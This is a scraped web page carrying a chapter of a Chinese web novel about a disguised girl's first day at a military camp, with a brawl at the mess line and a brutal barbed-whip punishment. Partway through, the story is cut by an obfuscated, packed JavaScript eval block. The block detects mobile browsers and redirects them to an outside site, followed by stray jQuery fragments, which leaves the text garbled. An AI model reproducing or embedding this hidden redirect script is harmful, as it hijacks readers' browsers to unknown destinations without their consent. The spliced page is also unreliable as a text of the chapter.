清风凉凉晚枫亭 作品

82. 不打不相识

黑云压顶,阿乔举着火把,麻木的跟在驴车后面,眼神空洞,像一只飘荡山间的无脸女鬼。


又一声绵长响亮的“咕~”从她肚里传来,那个熟悉的树墩子再度飘然而至,她眼神变了变,从麻木到哀愤,甚至想抓着牵驴的人的衣领大喊:“一个山头都绕了三圈了,三圈了啊!傻子来了也给绕熟了。”


咕咕咕的声响比哈欠还具有传染性,好在不止她一人饿,不一会大家的肚子此起彼伏的唱起了歌。


领头的两人脑袋挤在一起,像极了一头两身的山间精怪,私语的声音不大,奈何众人看见二人凑在一处,都默契的停住了脚步,让自身不发出一点声响。


“诶,差不多行了,我都快给绕晕了,再晚就赶不上开饭了。”左脑袋说道。


众人在暗中狂点头,期待的盯着右脑袋。


“成,回去吧。”右脑袋点头,众人狂喜。


两颗脑袋分开后,便带着队伍往营地走去。


因有了目的地,众人手中的火光也不再飘荡,仿佛带着坚定的信念纵深直入群山腹地,向着那四起的皑皑炊烟飞去。


营地四周环山,坐落在一个小小的盆地中,每座山都在山顶设有哨台,四周低地一览无余。


这哨台就是一个可容纳六人的小木屋,看起来是供猎户休憩用的屋子,内里却堆满了火药刀剑以及用来通讯的烟花。


阿乔他们一行人到时,恰好是两队交班,他们与领队的人都打过照面,简单问了几句,就放行了。


天色将暝,大老远的就能看见一圈微小的火光将营地包裹,背风处腾起阵阵白烟。


他们越走越快,拉运粮草的老驴在重力作用下四蹄控制不住的向下窜去,颠掉了好几袋粮草。


正门处,设了拒马桩,四个身披锐甲的士兵两两一排,立着长枪,验过文书印章后,喊了个身着布衣的中年男人,把阿乔带走了。


这是她第一次来军营,处处都充满了新奇。


夜风吹动篝火,肆意流窜,拍在每个人红扑扑的脸上,却在厚重的毛毡帐篷前吃了闭门羹。


男人领着她走了一刻钟,走到一薄的堪比宣纸的毡房前,还没来得及介绍,就见全氏父子从里头钻了出来。


“你俩来的正好,这小子归你们营,人我带来了,剩下的就交给你们了。”


男子转身离去,留下三人大眼瞪小眼。


全二雾着脸,绕过阿乔朝东北角走去。全熙似乎有话想说,张了张嘴还是憋了回去。


营帐里伸手不见五指,阿乔探进半个身子瞄了一圈,发现没人,就赶紧朝着全氏父子离去的方向跑去。


就算她没来过军营,也知道这是饭点,人都不在,肯定是去用饭了。


果不其然,大老远的就闻见了饭菜的香味,她一出溜抢着排进了队伍里,巴巴的等着队伍前进,好不容易到她了,那掌勺的大汉竟将半人高的碗用长勺一扣,问道:“哪个营的?”


哪个营?


阿乔一愣,带她来的人没说过啊。


她赶忙提起脑袋,踮着脚尖四处张望,身后的人不停催促,万幸她很快发现了全氏父子,朝着他们一指,焦急的嗯嗯了几声。


“十九营?”


“嗯嗯嗯嗯嗯。”


“新来的?”


“嗯嗯嗯嗯嗯嗯嗯。”


那掌勺的人直接大手一挥,“来晚了,十九营已经放过饭了,现在是二十营。”


身后排队的人早就不耐烦了,离她最近的直接动手推她,阿乔却跟朱门门前的石狮子似的,守在饭前,岿然不动。


“新来的你有完没完?!”身后的人眼见推不动她,直接撸起袖子,嗓门洪亮,音调高昂,像打鸣的公鸡,“嘿,劲儿不小啊。”


“看这位小兄弟第一天来,还受了伤,给他一碗饭得了,在这么耗下去过了饭点大家都吃不上饭。”


“何老十,你这是什么意思?”长勺扣在灶台上邦邦响,“这儿的饭可都是有定数的,多了他一口,别人就要少一口,你问问大家伙,谁乐意分一口饭给这个新来的?”


“谁提议的就让谁分呗。”一连响起几声附和。


“诶你什么意思?”贴着何老十站的男人站出队伍,指尖顶上了叫嚣的人鼻尖,连着何老十一起又站出几人,远看像几座接连的山峰。


双方瞬间剑拔弩张。


阿乔瞟了眼锅里,那馒头快摞成了小山,一人两个,加点咸菜配碗粥,绰绰有余啊。


这时到没人催促了,全都一副看戏的神态。她趁厨子不备,迅速摸了个白面馒头,撕成小块往嘴里塞。


另一边也不甘示弱,撸起袖子就是一拳,打架讲的就是气势和氛围,氛围烘托到位了,你不上都不行。于是,也不管有仇没仇、有怨无怨,两个阵营的人打的热火朝天。


阿乔藏起还没吃完的半个馒头,准备再偷一个,手刚摸进去,就被大勺扣住了,“嘿,你小子,居然敢偷馒头?”


阿乔身后响起一个洪亮的声音:“人家何老十为了你都打上了,你居然在这儿偷吃馒头!”


齐刷刷的目光朝她射来,阿乔瞬间成了众矢之的。


她倒吸一口凉气,这分明是二十营有内部矛盾,借题发挥,跟她没半铜钱的关系啊!


周围目光热度不减,她心一横,对着身后的人就是一脚,对方还未反应过来,就被踹倒在了地上。


打架的氛围再次被烘托到位,两方阵营中方才停在半空的拳头再度用力落下。


江逸走来时,见到的就是这样一幅画面——


一个满脸裹着纱布的少年正半跪在地上,一只脚踩在男子胸膛上,单方面的殴打着对方。


男子刚举起双手做出抱拳的姿势,就被她一虎掌拍散,男子刚欲张口求饶,脸上又挨了一肘子。仗着脸被遮掩,她打架的模样像极了街头的地痞无赖。


今天有仇今天报,谁让这小子不让她吃饭?还没眼色的找她晦气?


抢人饭食堪比夺人性命。


手掌是真的心疼,心情是真的畅快。


阿乔打的酣畅淋漓,甚至嫌弃手上的纱布阻碍了她发挥,一歪身子,重力全压在了一只腿上,脚下的男子疼的呲牙,手上反抗的力度就小了很多,她趁机腾出手来拆纱布。


“两只手都受了伤,拆了还能自己缠回去么?”


江逸戏谑的声音从头顶传来,阿乔拆纱布的手顿了顿,打架的氛围如晨夕薄雾,太阳出来的瞬间,就散了。脚下的男子得了瞬间喘息,大口呼吸着新鲜空气,不敢还手,但终于可以求饶了。


公鸡般嘹亮的哭嚎声,像山寺里钟磬的余音,一圈圈扩散开,阿乔捂住耳朵,恶狠狠地瞪了一眼男子,男子张了张口,一脸委屈地把剩下的话咽了回去,双手格挡在脸前,生怕这个小矮子继续揍他。


阿乔的身量在女子中不高不矮,可在北方大汉扎堆的地方,就有些不够看了。


阿乔有些尴尬,她已经停了手,氛围断了,又是单方面殴打,不好再继续下去,可那边厢依然打的热火朝天,何老十百忙之中从“敌人”的胳肢窝里挤出个脑袋,瞧见小兄弟没受欺负,这才专心致志的继续战局。


江逸掩袖,咳了一声,低声说道:“拿他来立威。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639668|170878||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>男子虽然哀求连连,声如铜锣,震的自己耳朵都嗡嗡作响,但并不妨碍他听见这关乎自己性命的威胁话语,双眼圆瞪,试图寻找声音的出处。


还未看清,就感觉胸腔上的那只脚,力度大到让他难以呼吸,胸腔里的空气都快被挤出去了,脚的主人这才幽幽道:“我第一天入营,很多规矩都不懂,但也不是好欺负的,懂?”


男子疯狂点头,那只脚挪了挪,死死地压在左心房处,但胸腔终于得了空隙,疯狂的吸入空气。


脚的主人叹了口气:“看来你还是不懂。”


男子钟鼓似的摇头,联想到“拿他立威”,立马大喊:“您大人有大量,我以后再也不敢了!”


阿乔眉梢一挑:“不敢什么?看来还是不知道错在哪儿。你看我好欺负,就来找茬,今天被打怕了,才想着求饶,对付你这种欺软怕硬的,也不用讲道义。”


“不不不!我发誓,以后再也不欺负人了!”


男子接连发出的求饶和痛嘘声,听得在场众人都觉得心脏疼,不少人头一次正眼打量起这个身量不高的少年,其狠劲和第九营的桑扬有的一拼。


感觉到压在心脏上的巨石一松,男子飞快的窜了出去,一旁看热闹的还嫌不够:“大嗓,你不仅嗓门大,什么时候也跑的比细狗还快了?”


在一众哈哈声中,大嗓洪亮的反驳声刚刚响起,银瓶乍破的鞭声便如一记惊雷,让所有人都为之一窒,小心地控制着吸入呼出的气流,站在外排的已经悄然溜走,生怕被波及。


“这一天天的,净不给我省心。你们还看?”


被派来收拾残局的竟是妘阖。


他一扫没看到全氏父子,顿感失望,脸上火辣辣的疼痛时刻提醒着他下午所遭受的耻辱,随即将憋了一下午的怒火发在了这群“寻衅滋事”的身上。


一鞭子下去,扭打的人惨叫一声,弹射分开,也有硬气的,闷哼一声,横竖逃不过去,何必让他妘阖得意。


要说这新鞭子就是得劲,用四根荆棘条拧成,抽到背上,荆棘的尖刺会穿透皮肤,收鞭时带着皮肉一起拔出,没几下的功夫,鞭尾的尖刺就挂满了沙粒大小的红白肉球。


妘阖甩着鞭子,步态悠闲恣意,所到之处无所不服,眼瞅着到了阿乔这儿,何老十大喝一声如野猪翻身般一把顶开短暂处于上风的“敌人”,他一个箭步像护崽的母鸡把少年挡到身后。


今天这架,本就不关小兄弟的事,是他们何家和小王家的名誉之战,既然这位小兄弟如此识时务、选了他们阵营,他自然不能辜负小兄弟的一片真心!


一般一个营的都是同姓,他们何氏村子小,人也少,就把他们和小王家的凑成了一个营,冬衣粮食衾被一应和日常生活相关的,资源有限的情况下,难免有人领不到,日常龃龉不少,时不时就会打上一架,言语上说不明白的事,用得用武力解决。


虽说他挡在了少年的身前,但他所能做的,不过是替她挡下第一鞭子,异姓军在妘家军眼里,根本就是猪狗不如,命如草芥。


眼见妘阖甩着鞭子往这边走来,江逸神色一凛,那副温和贵公子的模样顷刻间被寒冷击碎,唯有看向身后人时带了一丝淡淡的暖意,声音如清泉叮咚,很是好听:“别出来。”


阿乔的脚尖立起又落下,这鞭子挨在身上真疼,但躲过了今日,还有明日、后日、大后日....


营地周围布满了塔哨,这么严密的防守,一时半刻逃不出去,她还是得在这里讨生活,她无法一直活在谁的庇护下。


身前男子的衣袖轻轻牵扯,一个小小的声音敲击在他心间:“我自己解决。”